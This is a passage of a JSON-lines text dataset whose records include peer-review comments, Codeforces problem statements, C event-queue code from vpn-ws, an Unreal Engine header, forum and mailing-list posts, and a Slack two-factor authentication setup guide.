an individual study.\n## Cross-cultural research\n- \"(e.g., Levitan et al., 2014; Wan et al, 2014a, 2014b, 2015).\" It is unclear why the authors choose to citate studies that all pertain to modalities that cannot be tested online\n- \"Eriksson and Simpson\": Why was this study chosen? It seems like a questionnaire study.\n## Complimenting in-lab research\n- please correct \"complImenting\"\n## Comparing online with in-lab\n- \"indeed, given a disagreement between such studies\": This is a very bold statement because problems replicating e.g. backward masking are very likely due to technical problems presenting stimuli online rather than an artifact that is induced by lab-equipment.\n- Here, too a more structured summary of the three comparison studies may be beneficial.\n# Potential concerns with online research\n## 1 Timing\n- This section may be divided in presentation and response timing.\n## 2 Variability in hardware\n- Again this could be divided in presentation and response-timing.\n- Also it may be best to use different modalities to structure the paragraph.\n- Why cannot the McGurk effect presented as a video?\n- It should be noted how relevant such problems are for within-sj designs\n## 3 Unique participants?\n## 4 Random responding\n- \"Oppenheimer, Meyvis, and Davidenko\": As the authors note these authors study decision making. Is this also a pertinent problem for perception studies?\n## 5 Ethics\n- Authors should note solutions to the dilemmata described, especcially those raised by larger Societies.\n# Conducting research online\n- Consider to change the title of the subsection to software.\n- The comparison of tools is great and could be much expanded. It would be important to know whether RTs can be collected, or not?\n- \"Questionnaire vs Research focus\": What is meant by this?\nThe submission is well written and structured.\nNot really applicable to this paper, as it is a review of experimental design.\nThis is a very useful and timely review that will benefit the field.\nP. 5: Do smartphones count as \"computers\"?\nP. 7: Where is the lab-based data from? Are the \"samples\" equivalent for the comparisons shown? Certainly some labs study ageing, such as changes across the lifespan! Also, do the WEIRD aspects of online samples cause more concern than noted here? Certainly there is potential for overcoming WEIRD samples, but it is unclear that is yet the case.\nP. 9: On homophily: I understand the example you note, but is there any evidence this is the case for online studie? That seems most relevant.\nP. 11: On Recruitment Platforms: I wonder if this section should come far earlier. The sections that precede it discussion Mechanical Turk in a familiar tone, yet only here is it really explained in detail. Explaining it first would be helpful perhaps.\nP. 28: Interesting study described here -- but did they also debrief the 46% that missed the extra task to see if they really missed it, or if instead they just ignored it thinking it was a trick to see if they would not focus on the primary task?\nP. 30-31: Do the societies (BPS, APA, etc) need to revisit these guidelines (or lack thereof)? One criticism is raised, but it seems there other things missing from those policies as well. The anonymity issue, clashing with the requirement to allow later data deletion, is not just an online problem of course, and a suggestion would be interesting here.\nAll text and materials provided via this peer-review history page are made available under a Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original author and source are credited.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2089, "token_count_with_eod": 2090, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are developing a rating system for an online game. Every time a player participates in a match, the player's rating changes depending on the results.\n\nInitially, the player's rating is $$$0$$$. There are $$$n$$$ matches; after the $$$i$$$-th match, the rating change is equal to $$$a_i$$$ (the rating increases by $$$a_i$$$ if $$$a_i$$$ is positive, or decreases by $$$|a_i|$$$ if it's negative. There are no zeros in the sequence $$$a$$$).\n\nThe system has an additional rule: for a fixed integer $$$k$$$, if a player's rating has reached the value $$$k$$$, it will never fall below it. Formally, if a player's rating at least $$$k$$$, and a rating change would make it less than $$$k$$$, then the rating will decrease to exactly $$$k$$$.\n\nYour task is to determine the value $$$k$$$ in such a way that the player's rating after all $$$n$$$ matches is the maximum possible (among all integer values of $$$k$$$). If there are multiple possible answers, you can print any of them.", "source": "cpt_codeforces", "language": "en", "token_count": 238, "token_count_with_eod": 239, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given an array which is initially empty. You need to perform $$$n$$$ operations of the given format:\n\n- \"$$$a$$$ $$$l$$$ $$$r$$$ $$$k$$$\": append $$$a$$$ to the end of the array. After that count the number of integer pairs $$$x, y$$$ such that $$$l \\leq x \\leq y \\leq r$$$ and $$$\\operatorname{mex}(a_{x}, a_{x+1}, \\ldots, a_{y}) = k$$$.\n\nThe elements of the array are numerated from $$$1$$$ in the order they are added to the array.\n\nTo make this problem more tricky we don't say your real parameters of the queries. Instead your are given $$$a'$$$, $$$l'$$$, $$$r'$$$, $$$k'$$$. To get $$$a$$$, $$$l$$$, $$$r$$$, $$$k$$$ on the $$$i$$$-th operation you need to perform the following:\n\n- $$$a := (a' + lans) \\bmod(n + 1)$$$,\n- $$$l := (l' + lans) \\bmod{i} + 1$$$,\n- $$$r := (r' + lans) \\bmod{i} + 1$$$,\n- if $$$l > r$$$ swap $$$l$$$ and $$$r$$$,\n- $$$k := (k' + lans) \\bmod(n + 1)$$$,\n\nThe $$$\\operatorname{mex}(S)$$$, where $$$S$$$ is a multiset of non-negative integers, is the smallest non-negative integer which does not appear in the set. For example, $$$\\operatorname{mex}(\\{2, 2, 3\\}) = 0$$$ and $$$\\operatorname{mex} (\\{0, 1, 4, 1, 6\\}) = 2$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 407, "token_count_with_eod": 408, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Within the space of 2 weeks i have had 2 drives break in the server. The first time i put a spare drive in and accidentally deleted the whole RAID... I spent a week running recovery software and backing everything up to an 8TB external drive. I finally got everything installed and working after 3 weeks and then another disk broke. I am currently without a server as i dont have any spare drives, so going to be sending the 2 broken disks back to get replacements as they had a 5 year warranty.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 107, "token_count_with_eod": 108, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#include \"vpn-ws.h\"\n\n#if defined(__linux__)\n\n#include <sys/epoll.h>\n\nint vpn_ws_event_queue(int n) {\n\tint ret = epoll_create(n);\n\tif (ret < 0) {\n\t\tvpn_ws_error(\"vpn_ws_event_queue()/epoll_create()\");\n\t\treturn -1;\n\t}\n\treturn ret;\n}\n\nint vpn_ws_event_read_to_write(int queue, int fd) {\n\tstruct epoll_event ev;\n        ev.events = EPOLLOUT;\n        ev.data.fd = fd;\n        int ret = epoll_ctl(queue, EPOLL_CTL_MOD, fd, &ev);\n        if (ret < 0) {\n                vpn_ws_error(\"vpn_ws_event_read_to_write()/epoll_ctl()\");\n                return -1;\n        }\n        return ret;\n}\n\nint vpn_ws_event_write_to_read(int queue, int fd) {\n        struct epoll_event ev;\n        ev.events = EPOLLIN;\n        ev.data.fd = fd;\n        int ret = epoll_ctl(queue, EPOLL_CTL_MOD, fd, &ev);\n        if (ret < 0) {\n                vpn_ws_error(\"vpn_ws_event_read_to_write()/epoll_ctl()\");\n                return -1;\n        }\n        return ret;\n}\n\nint vpn_ws_event_add_read(int queue, int fd) {\n\tstruct epoll_event ev;\n\tev.events = EPOLLIN;\n\tev.data.fd = fd;\n\tint ret = epoll_ctl(queue, EPOLL_CTL_ADD, fd, &ev);\n\tif (ret < 0) {\n\t\tvpn_ws_error(\"vpn_ws_event_add_read()/epoll_ctl()\");\t\n\t\treturn -1;\n\t}\n\treturn ret;\n}\n\nint vpn_ws_event_wait(int queue, void *events) {\n\tint ret = epoll_wait(queue, events, 64, -1);\n\tif (ret < 0) {\n\t\tvpn_ws_error(\"vpn_ws_event_wait()/epoll_wait()\");\n                return -1;\n\t}\n\treturn ret;\n}\n\nvoid *vpn_ws_event_events(int n) {\n\treturn vpn_ws_malloc(sizeof(struct epoll_event) * n);\n}\n\nint vpn_ws_event_fd(void *events, int i) {\n\tstruct epoll_event *epoll_events = (struct epoll_event *) events;\n\treturn epoll_events[i].data.fd;\n}\n\n#elif defined(__FreeBSD__) || defined(__APPLE__) || defined(__OpenBSD__)\n\n#include <sys/event.h>\n\nint vpn_ws_event_queue(int n) {\n        int ret = kqueue();\n        if (ret < 0) {\n                vpn_ws_error(\"vpn_ws_event_queue()/kqueue()\");\n                return -1;\n        }\n        return ret;\n}\n\nint vpn_ws_event_read_to_write(int queue, int fd) {\n\tstruct kevent kev;\n\n\tEV_SET(&kev, fd, EVFILT_READ, EV_DELETE, 0, 0, 0);\n        if (kevent(queue, &kev, 1, NULL, 0, NULL) < 0) {\n\t\tvpn_ws_error(\"vpn_ws_event_read_to_write()/kevent()\");\n                return -1;\n        }\n\n        EV_SET(&kev, fd, EVFILT_WRITE, EV_ADD, 0, 0, 0);\n        if (kevent(queue, &kev, 1, NULL, 0, NULL) < 0) {\n\t\tvpn_ws_error(\"vpn_ws_event_read_to_write()/kevent()\");\n                return -1;\n        }\n        return 0;\n}\n\nint vpn_ws_event_write_to_read(int queue, int fd) {\n\tstruct kevent kev;\n        \n        EV_SET(&kev, fd, EVFILT_WRITE, EV_DELETE, 0, 0, 0);\n        if (kevent(queue, &kev, 1, NULL, 0, NULL) < 0) {\n                vpn_ws_error(\"vpn_ws_event_write_to_read()/kevent()\");\n                return -1;\n        }\n        \n        EV_SET(&kev, fd, EVFILT_READ, EV_ADD, 0, 0, 0);\n        if (kevent(queue, &kev, 1, NULL, 0, NULL) < 0) {\n                vpn_ws_error(\"vpn_ws_event_write_to_read()/kevent()\");\n                return -1;\n        }\n        return 0;\n}\n\nint vpn_ws_event_add_read(int queue, int fd) {\n\tstruct kevent kev;\n\n\tEV_SET(&kev, fd, EVFILT_READ, EV_ADD, 0, 0, 0);\n        if (kevent(queue, &kev, 1, NULL, 0, NULL) < 0) {\n                vpn_ws_error(\"vpn_ws_event_add_read()/kevent()\");\n                return -1;\n        }\n        return 0;\n}\n\nint vpn_ws_event_wait(int queue, void *events) {\n        int ret = kevent(queue, NULL, 0, events, 64, NULL);\n        if (ret < 0) {\n                vpn_ws_error(\"vpn_ws_event_wait()/kevent()\");\n        }\n        return ret;\n}\n\nvoid *vpn_ws_event_events(int n) {\n        return vpn_ws_malloc(sizeof(struct kevent) * n);\n}\n\nint vpn_ws_event_fd(void *events, int i) {\n        struct kevent *k_events = (struct kevent *) events;\n        return k_events[i].ident;\n}\n\n#elif defined(__WIN32__)\n\nint vpn_ws_event_queue(int n) {\n\treturn -1;\n}\n\nint vpn_ws_event_read_to_write(int queue, vpn_ws_fd fd) {\n\treturn -1;\n}\n\nint vpn_ws_event_write_to_read(int queue, vpn_ws_fd fd) {\n\treturn -1;\n}\n\nint vpn_ws_event_add_read(int queue, vpn_ws_fd fd) {\n\treturn -1;\n}\n\nint vpn_ws_event_wait(int queue, void *events) {\n\treturn -1;\n}\n\nvoid *vpn_ws_event_events(int n) {\n\treturn NULL;\n}\n\nint vpn_ws_event_fd(void *events, int i) {\n\treturn -1;\n}\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 1378, "token_count_with_eod": 1379, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Sereja loves integer sequences very much. He especially likes stairs.\n\nSequence a1, a2, ..., a|a| (|a| is the length of the sequence) is stairs if there is such index i (1 ≤ i ≤ |a|), that the following condition is met:\n\na1 < a2 < ... < ai - 1 < ai > ai + 1 > ... > a|a| - 1 > a|a|.\n\nFor example, sequences [1, 2, 3, 2] and [4, 2] are stairs and sequence [3, 1, 2] isn't.\n\nSereja has m cards with numbers. He wants to put some cards on the table in a row to get a stair sequence. What maximum number of cards can he put on the table?", "source": "cpt_codeforces", "language": "en", "token_count": 177, "token_count_with_eod": 178, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Added ALL discs\nAdded config to choose songs\nAdded support for JRE 1.6 (Severely needed) :P\nMade disc number 11 disabled by default\nThe default delay is not 2000\nSet delay to 2000 by default\nAdded support for MC 1.4.4/1.4.5\nAdded MultiWorld Support\nYou can set the Jukebox location by looking at the Jukebox\nYou may now have infinite Jukebox's\nThe plugin runs by a new ID system\nLots of odd/ends bug fixes & code clean up.\nAdded /jbr list command.\nAdded support for multiple arguments on /jbr set- it is now /jbr set <id>\nUpdated to 1.5\nChoosing only one song in the config will crash your server! You must choose at least 2 discs to play- it interferes with the \"not playing the last disc\" system I have in place.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 208, "token_count_with_eod": 209, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Slides: Add a Comment on a Shared Slide\nThe comment feature enables Slides collaborators to provide feedback or ask questions. For items that need immediate action or attention from a specific collaborator, you can assign a comment to a specific person.\nAdd a comment on a shared Slide, and assign it to a collaborator.\nMore Slides Activities\nQuickly deploy Slides lessons to your entire district.\nTop districts trust Alludo to train teachers and staff", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 93, "token_count_with_eod": 94, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In re the term 'honest mistake', would a 'dishonest mistake' be synonymous to something like irresponsibility, negligence or lazy/not doing due diligence?\nPart 1. My thoughts\n- Thought 1.1: Honest mistake vs dishonest mistake\nWe apologise for dishonest mistakes. We don't apologise for honest mistakes. We can instead say like 'My bad' or 'My mistake.' Of course in everyday terminology we say 'my apologies' to mean 'my (honest) mistake' instead of course necessarily admitting to any guilt. Just like how we say 'sorry' for your loss (similar to condolences) or 'sorry' to hear that.\nQuote from The Phantom Tollbooth:\nYou must never feel badly about making mistakes ... as long as you take the trouble to learn from them. For you often learn more by being wrong for the right reasons than you do by being right for the wrong reasons.\nPresumably the mistakes that are being talked about are honest mistakes. For example for a student: Don't be (unreasonably) afraid of making a mistake on an exam to the point of cheating on the exam. But do be (reasonably) afraid of neglecting your studies by spending more than allotted recreation time.\n- Thought 1.1.1: I believe it boils down to whether or not you should have known better. I think it's like the difference between naïveté and ignorance. You're at fault for ignorance but not for naïveté. i think it's like fool vs student in the arabian quote that goes:\n“He who knows not, and knows not that he knows not, is a fool; shun him. He who knows not, and knows that he knows not, is a student; Teach him. He who knows, and knows not that he knows, is asleep; Wake him. He who knows, and knows that he knows, is Wise; Follow him.”\n- Thought 1.2: Dishonest mistake vs intentional wrongdoing\nGoing back to the student example earlier, if a student extends allotted recreational time like 'Oh just 5 more minutes' and then ends up spending 1 hour more, then the student has committed a dishonest mistake through negligence of time management. If as a result of this the student decides to cheat, then this is no longer mere negligence but really intending something wrong. The 'Oh just 5 more minutes' did not have any intention of anything wrong, which in this case is losing a significant amount of time for study.\n- Thought 1.2.1: I kinda have this analogy in homicide legal terms:\nManslaughter/humanslaughter <--> dishonest mistake\nMurder <--> intentional wrongdoing\nNot the best analogy, but the point is I believe the idea why we have the concept of humanslaughter in the first place is that there are homicide cases where the perpetrator isn't 'not guilty by reason of insanity' but at the same didn't commit the act with forethought/premeditation/whatever. Like they just lost their temper (voluntary) or didn't do their due diligence (involuntary).\nPart 2. What I've found about this on Reddit and even on Stack Exchange (not quite in the way I'm asking though):\n2.3. Ignorantly dishonest → I notice here no one says anything like irresponsible, negligent, lazy/not doing due diligence. (So I decided to answer myself.)\nPart 3. Some context\n3.1. people may consider a dishonest mistake an honest mistake.\n- E.g., 3.1.1. parents fail to get the proper mental health treatment for their child who was diagnosed with a mental illness (say autism, ADHD or any mental illnesses diagnosed relative to how the child behaves/how the person behaved as a child) because they do not do their due diligence. Let's say they do their own reading about autism or ADHD and do not proceed with the suggested treatment by the diagnoser (eg psychologist or psychiatrist) without double checking their own readings with the diagnoser.\n3.2. people may consider a dishonest mistake an intentional wrongdoing.\n- E.g., 3.2.1. Following (3.1.1) still: Here of course it's not exactly 'child abuse' since abuse, as far as I understand, is intentional, not negligent...or not. But I'd call it more like child neglect or child maltreatment to distinguish from those cases where parents who, say, rape their children). It's indeed a mistake in the sense that it's not intentional. But that doesn't mean the mistake was honest.\n3.3. people may consider an honest mistake to be a dishonest mistake.\n- E.g., 3.3.1. Again, boredpanda or phantom tollbooth as above.\n3.4. (Also to clarify the issue of the term 'mistake') people may consider an intentional wrongdoing to be a dishonest mistake (or even an honest mistake!)\n- E.g., 3.4.1. As discussed a lot in comments: Adultery. I'd think if it happens once as a spur of the moment or getting drunk thing especially if it's just a kiss and not full blown sex, then I think it can be just a dishonest mistake. So it's still wrong, but let's not give a sentence of life imprisonment for murder instead of just 2 years for humanslaughter. (Well, I don't know. IANAL. Maybe divorce law in some parts of the world might consider a spur of the moment kiss as just as bad as full blown sex.) But if an adulterous act has forethought/premeditation, then this is now intentional and thus no longer a mistake.\nA lot of times cheaters will say what they did was a 'mistake'. I think this is similar to the 'apologies' or 'sorry' thing above in that what is meant by 'mistake' is something altogether now.\nThis kind of 'mistake' they did has intent. So this is not the kind of 'mistake' I mean when I say 'dishonest mistake'. A 'dishonest' mistake has no intent, same as an honest mistake. Was I being unclear? I don't think so. What I mean by 'mistake' in 'dishonest mistake' should, I believe, be clear because it comes from what is meant by 'mistake' in 'honest mistake', where intent is, I believe, understood to not be present here.\nGoing back to the adultery, the issue here is I think those cheaters subconsciously/unconsciously lie to their spouses/partners or even to themselves in that when they say 'mistake', they mean it like honest/dishonest mistake instead of, well, intentional wrongdoing. Here's an example from a TV series\nThis wasn't a mistake, Michaela. This was you stabbing me in the heart.\nPart 4. Appendix:\nAn edit proposed for me to ask 'antonym' of 'honest mistake'. I rejected in thinking that it might cause confusion in that like I'm trying to ask here what I might call (antonym-of-honest)-mistake instead of antonym-of-(honest mistake), which might turn out to be different.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1509, "token_count_with_eod": 1510, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "If you don't use artifacts upload to read MegaLinter reports, you can access them with an hyperlink to file.io\nimportant: MegaLinter has no affiliation with file.io, but it's supposed to be secured, and only one download is available for a report (snapchat for files, basically)\nThis reporter is deactivated by default.\nActivate the reporter (\nFILEIO_REPORTER: true) to see link to reports zip on file.io\n- Get the file.io hyperlink at the end of Mega-linter console output\n- Download file on file.io: it is immediately deleted on the server so it can be downloaded only once\n- Browse reports", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#ifndef GRAPHICS_H\n#define GRAPHICS_H\n\n#include <glib.h>\n#include <gtk/gtk.h>\n\n#include \"glk.h\"\n#include \"gi_blorb.h\"\n#include \"resource.h\"\n#include \"window.h\"\n#include \"style.h\"\n#include \"strio.h\"\n\n#define IMAGE_CACHE_MAX_NUM 10\n#define IMAGE_CACHE_MAX_SIZE 5242880\n\nstruct image_info {\n\tguint32 resource_number;\n\tgint width, height;\n\tGdkPixbuf* pixbuf;\n\tgboolean scaled;\n};\n\ngboolean on_graphics_configure(GtkWidget *widget, GdkEventConfigure *event, winid_t win);\ngboolean on_graphics_expose(GtkWidget *widget, GdkEventExpose *event, winid_t win);\nvoid clear_image_cache(struct image_info *data, gpointer user_data);\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 184, "token_count_with_eod": 185, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "You are an all-powerful being and you have created a rectangular world. In fact, your world is so bland that it could be represented by a $$$r \\times c$$$ grid. Each cell on the grid represents a country. Each country has a dominant religion. There are only two religions in your world. One of the religions is called Beingawesomeism, who do good for the sake of being good. The other religion is called Pushingittoofarism, who do murders for the sake of being bad.\n\nOh, and you are actually not really all-powerful. You just have one power, which you can use infinitely many times! Your power involves missionary groups. When a missionary group of a certain country, say $$$a$$$, passes by another country $$$b$$$, they change the dominant religion of country $$$b$$$ to the dominant religion of country $$$a$$$.\n\nIn particular, a single use of your power is this:\n\n- You choose a horizontal $$$1 \\times x$$$ subgrid or a vertical $$$x \\times 1$$$ subgrid. That value of $$$x$$$ is up to you;\n- You choose a direction $$$d$$$. If you chose a horizontal subgrid, your choices will either be NORTH or SOUTH. If you choose a vertical subgrid, your choices will either be EAST or WEST;\n- You choose the number $$$s$$$ of steps;\n- You command each country in the subgrid to send a missionary group that will travel $$$s$$$ steps towards direction $$$d$$$. In each step, they will visit (and in effect convert the dominant religion of) all $$$s$$$ countries they pass through, as detailed above.\n- The parameters $$$x$$$, $$$d$$$, $$$s$$$ must be chosen in such a way that any of the missionary groups won't leave the grid.\n\nThe following image illustrates one possible single usage of your power. Here, A represents a country with dominant religion Beingawesomeism and P represents a country with dominant religion Pushingittoofarism. Here, we've chosen a $$$1 \\times 4$$$ subgrid, the direction NORTH, and $$$s = 2$$$ steps.\n\nYou are a being which believes in free will, for the most part. However, you just really want to stop receiving murders that are attributed to your name. Hence, you decide to use your powers and try to make Beingawesomeism the dominant religion in every country.\n\nWhat is the minimum number of usages of your power needed to convert everyone to Beingawesomeism?\n\nWith god, nothing is impossible. But maybe you're not god? If it is impossible to make Beingawesomeism the dominant religion in all countries, you must also admit your mortality and say so.", "source": "cpt_codeforces", "language": "en", "token_count": 565, "token_count_with_eod": 566, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Join GitHub today\nGitHub is home to over 28 million developers working together to host and review code, manage projects, and build software together.Sign up\nReplaced the sort in median and quantileSeq with a partition-based selection function #373\nThanks, nice improvement!\nI guess it's not yet loaded there? When", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 69, "token_count_with_eod": 70, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "|Getty Ritter 3c47da2fac Commit my current pinboard data and a script to populate a DB with it||2 years ago|\n|lc||2 years ago|\n|scripts||2 years ago|\n|templates||2 years ago|\n|tests||2 years ago|\n|.gitignore||2 years ago|\n|README.md||2 years ago|\n|lament-configuration.py||2 years ago|\n|poetry.lock||2 years ago|\n|pyproject.toml||2 years ago|\n|tasks.py||2 years ago|\nBookmark organizing for pinheads.\n#food/breadwill also be visible under\npoetry installed, and having\ninvoke installed makes it easier.\n# install all the needed dependencies $ inv install # run all the tests $ inv test # run a local test server at port 9999 $ inv run -p 9999\nAll the code here is auto-formatted by\nblack, which should be installed by the\ninv install. Running\ninv fmt on a clean branch will run\nblack over all Python files and commit those changes automatically; if the repository is dirty then it will run the formatter but won't try to commit anything.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 258, "token_count_with_eod": 259, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "[[BoxJam and Ms. BoxJam are standing outside]]\nMs. BoxJam: Did I tell you the Touchstones are going on vacation by themselves? Can you imagine going on vacation without the kids?\n[[A series of thought balloons]]\n[[Postcard shows BoxJam and Ms. BoxJam, alone, wading in breakers on a beach]]\nCaption: Having a great time... At the Beach!\n[[Postcard looks the same, but a fist has punched through it]]\n[[Postcard looks the same, but the hole the fist punched through is now being stretched open by Little BoxJam]]\n[[Postcard looks the same, but Little BoxJam has dropped through the hole into the water - he's got an inner tube around him. BoxJamina is now climbing through the hole.]]\n[[Postcard looks the same, but Little BoxJam is splashing BoxJam, and BoxJamina, who has now dropped into the water, has her arms outstretched to BoxJam]]\nBoxJamina: Up! Up!\n[[back to scene of BoxJam and Ms. BoxJam standing outside]]", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#pragma once\r\n\r\n#include <CoreMinimal.h>\r\n#include <Engine/DeveloperSettings.h>\r\n#include <Templates/SubclassOf.h>\r\n#include <Engine/EngineTypes.h>\r\n\r\n#include \"ActorPoolSettings.generated.h\"\r\n\r\nclass AActor;\r\n\r\nUSTRUCT()\r\nstruct FAPPooledActorAcquireFromPoolSettings\r\n{\r\n    GENERATED_USTRUCT_BODY()\r\n\r\n    FAPPooledActorAcquireFromPoolSettings();\r\n\r\n    UPROPERTY( EditAnywhere )\r\n    uint8 bShowActor : 1;\r\n\r\n    UPROPERTY( EditAnywhere )\r\n    uint8 bEnableCollision : 1;\r\n\r\n    UPROPERTY( EditAnywhere )\r\n    uint8 bDisableNetDormancy : 1;\r\n\r\n    UPROPERTY( EditAnywhere, meta = ( EditCondition = \"bDisableNetDormancy\" ) )\r\n    TEnumAsByte< ENetDormancy > NetDormancy;\r\n};\r\n\r\nUSTRUCT()\r\nstruct FActorPoolInfos\r\n{\r\n    GENERATED_USTRUCT_BODY()\r\n\r\n    FActorPoolInfos();\r\n\r\n    UPROPERTY( EditAnywhere )\r\n    TSoftClassPtr< AActor > ActorClass;\r\n\r\n    UPROPERTY( EditAnywhere )\r\n    int Count;\r\n\r\n    UPROPERTY( EditAnywhere )\r\n    uint8 bAllowNewInstancesWhenPoolIsEmpty : 1;\r\n\r\n    UPROPERTY( EditAnywhere )\r\n    FAPPooledActorAcquireFromPoolSettings AcquireFromPoolSettings;\r\n};\r\n\r\nUCLASS( config = Game, defaultconfig, meta = ( DisplayName = \"ActorPool\" ) )\r\nclass ACTORPOOL_API UActorPoolSettings final : public UDeveloperSettings\r\n{\r\n    GENERATED_BODY()\r\n\r\npublic:\r\n    FName GetCategoryName() const override;\r\n\r\n    UPROPERTY( EditAnywhere, config )\r\n    TArray< FActorPoolInfos > PoolInfos;\r\n};", "source": "cpt_stack_code", "language": "code", "token_count": 382, "token_count_with_eod": 383, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "- Dear all,\nIn relation to my research on behaviour within fishing fleets I would like\nto ask a question. I am looking for the spatio-temporal correlation of\nfishermen's catch rates. As I understand it now, the predictive power of a\nspatial pattern in catch rates in one week on the pattern in the next week\nestimated using cross-semivariograms (GSLIBS gamv), with head in timestep t\nand tail in timestep t-1. Unfortunately the data I have comes from a fleet,\nnot a survey design, and the position of the catch rates estimates is not\nfixed. Therefor I am left with very few actual positions where I have a\ncatch rate for both weeks, and a lot where either is missing.\nIs there a way to calculate the predictive power of a spatial pattern in one\ntimestep on the spatial pattern in another? Is trying to calculate the\ncross-semivariogram the right way? Am I doing something wrong or overlooking\nsomething? I am very new to geostatistics, so any help is welcome.\nWith kind regards,\nJan Jaap Poos\nUniversity of Groningen, department of animal ecology\nNetherlands Institute for Fisheries Research\n* To post a message to the list, send it to ai-geostats@...\n* As a general service to the users, please remember to post a summary of any useful responses to your questions.\n* To unsubscribe, send an email to majordomo@... with no subject and \"unsubscribe ai-geostats\" followed by \"end\" on the next line in the message body. DO NOT SEND Subscribe/Unsubscribe requests to the list\n* Support to the list is provided at http://www.ai-geostats.org", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 365, "token_count_with_eod": 366, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given the current time in 24-hour format hh:mm. Find and print the time after a minutes.\n\nNote that you should find only the time after a minutes, see the examples to clarify the problem statement.\n\nYou can read more about 24-hour format here https://en.wikipedia.org/wiki/24-hour_clock.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Web development tools help website developers in various web development process. Whether designing a responsive web design or improving the user experience, these development tools make it a whole lot easier, faster, and smoother.\n- Content Management System (CMS)\nNot all web developers are created equal. And CMS makes it easier for many web developers to develop websites without much programming knowledge. CMS also makes the website redesigning a whole lot easier and offers easy uploading of images. You can easily update your website’s logo or other common elements even after a website is launched.\nSublime Text is a preferred code editor mostly used for website development for designing. You can download it from Windows, Mac, and Linux. Since it is a code editor, it has a convenient feature called GoTo Anything, which allows you to easily find a piece of code and edit it.\nSome of the other useful features include the Multiple Selections command and Split Editing. This tool is free to download, but there is also a paid version. After paying for the license, you can use it on any device you want.\nBootstrap makes it easier with various built-in components along with ready-made elements. If you are a professional web developer, you will have no problem using this tool to create web applications and find it very interesting because it offers various customizations. It also supports multiple website development tools like Sass and JQuery, making it even more preferred by developers.\nSass is a pre-processor scripting language that is incredibly common among website developers because its code is reusable. If you want to handle bigger projects with clean and easy CSS codes as a website developer, choosing Sass is the ideal way to go about it. Since it uses nested syntax, you get better, more maintainable code and better code organization.\nCodePen offers four packages and is used by many developers, beginners, and professionals alike. This popularly used frontend developer tool offers various functionalities for design customizations. CodePen can be a versatile tool that offers all the essential features required for a complete web development project.\nGitHub can be your go-to software development platform in case you are working on a personal project. One of the best parts of this platform is that you can integrate it with any website development tool you are already using. You can also use this as a part of an experiment with new programming languages.\nSome of the best functionalities of GitHub are Integrations, Code Review, Project Management, Code hosting, Documentation, etc.\nWhen choosing a web development tool, the best way to go is to look for what your unique project requirements are. Sometimes, your project can be done with a free, open-source platform, while other times, if your project is complex, you will need to use a paid version of a tool.\nContact us to discuss your website development requirement. Call us today on +917760487777 or 08041127377 or message us on our contact form and we will reply back ASAP. We can discuss how we can strategically website development for your organization.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 625, "token_count_with_eod": 626, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "How to enable 2FA for Slack\nThe best way to manage all your 2FA accounts is to use the Authy app. It enables you to have a single mobile app for all your 2FA accounts and you can sync them across multiple devices, even accessing them on the desktop. Install Authy on your device by searching for it in your device’s app store.\nImportant: If any sites prompt you to use Google Authenticator for two-factor authentication, note that you can always substitute the Authy 2FA app instead. Although they work in similar ways, Authy is more feature-rich and allows for multi-device syncing, cloud-backups, and easier account recovery should you change or lose your phone or device. Read more information on the features of Authy here.\nLocate 2FA setting\nSign into the appropriate Slack team, and visit your Account page at my.slack.com/account/settings.\nThen click “Account & Profile” in the navigation menu to the left.\nUnder “Settings,” find “Two-Factor Authentication” and click “expand”.\nRead about Slack’s two-factor authentication offering, then click “Setup Two-factor Authentication”.\nOn the next screen, re-enter your password and then click the box that reads “Use an app. Retrieve authentication codes from the authentication app on your device.” This is the easier and more secure route over using SMS.\nOn the next screen, you’ll be asked to download the authenticator app of your choice – but you already did this in step 1. Then, it asks you to scan a QR Code with your Authy app. Keep this window open as you reach for your phone.\nCapture QR Code\nTake out your mobile device and open the Authy App. At the bottom of the screen, tap the plus sign to create a new account.\nWhen you are ready click “Scan QR Code” and hold your device up to the computer screen.\nThe Authy App will automatically choose the Slack logo. Confirm it’s correct by clicking “Done”\nRecord the numerical token provided for Slack. Note that this token refreshes every 20 seconds.\nReturning to the Slack website, enter the numerical token in the appropriate field. When done click “Activate.”\nYou will now be shown your Slack backup codes. These codes are one-time use each. Select to print them or copy them to keep them safe.\nYou will now notice that your Slack account has 2FA security enabled.\nYou’re all set! You’ve enabled 2FA for your Slack account.\nTo learn more, visit: https://get.slack.help/hc/en-us/articles/204509068-Set-up-two-factor-authentication", "source": 